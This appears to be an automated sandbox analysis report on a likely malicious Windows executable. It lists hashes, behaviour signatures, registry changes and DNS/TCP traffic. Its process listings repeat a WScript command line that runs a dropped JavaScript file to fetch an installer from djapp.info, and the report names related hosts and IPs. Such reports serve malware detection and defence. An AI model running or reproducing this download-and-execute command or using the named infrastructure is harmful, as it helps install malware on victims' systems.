Analysis Overview
SHA256
4a400c212c2c636532aebd7a6602e47cfe1e2d33cb552f96c7f98786d88e384d
Threat Level: Likely malicious
The file a63dd5fd04e5d608c9968890e8223253_JaffaCakes118 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Unsigned PE
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-13 15:24
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 15:24
Reported
2024-06-13 15:27
Platform
win7-20240508-en
Max time kernel
144s
Max time network
143s
Command Line
Signatures
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEA1.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufEA1.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEA1.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufEA1.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEA1.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufEA1.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fufEA1.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 15:24
Reported
2024-06-13 15:27
Platform
win10v2004-20240611-en
Max time kernel
93s
Max time network
95s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a63dd5fd04e5d608c9968890e8223253_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4F58.js" http://www.djapp.info/?domain=JqkqWLlxzX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4F58.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 18.119.154.66:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | www.hugedomains.com | udp |
| US | 8.8.8.8:53 | 66.154.119.18.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 18.119.154.66:80 | bi.downthat.com | tcp |
| US | 172.67.70.191:443 | www.hugedomains.com | tcp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 18.119.154.66:80 | bi.downthat.com | tcp |
| US | 172.67.70.191:443 | www.hugedomains.com | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 18.119.154.66:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 18.119.154.66:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf4F58.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |